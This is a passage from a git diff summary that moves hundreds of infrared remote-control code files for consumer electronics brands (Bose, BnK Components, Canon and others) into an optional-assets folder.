optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Barco/Video Projector/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Barco/Video Projector/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/0,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/0,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/1,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/1,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/128,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/16,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/24,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BenQ/Projector/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BenQ/Projector/72,80.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Big Ben/Game Console/67,164.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/3-2-1/186,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,136.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,160.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,161.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,162.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,163.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,164.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,165.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,166.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,167.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,168.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,169.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,170.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,171.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,172.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,173.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,174.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,176.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,177.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,178.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,179.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,180.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,181.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,182.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,183.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,184.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,185.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,186.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,187.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,188.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,189.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,190.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,191.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Media Center/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Media Center/186,136.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Music Center/186,133.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Music Center/186,213.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Music Center/186,229.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Music Center/186,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Receiver/186,160.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Receiver/186,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/System/186,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Tuner/186,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Boxlight/Projector/135,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Boxlight/Projector/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Boxlight/Projector/48,206.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Broksonic/VCR/128,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bush/Light/29,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ByDesign/LCD/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/TV/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/TV/164,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/TV/26,26.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/TV/84,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Calypso/Control System/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Calypso/Control System/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Calypso/Control System/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Canon/Video Projector/129,6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Amplifier/135,123.ir (100%) rename 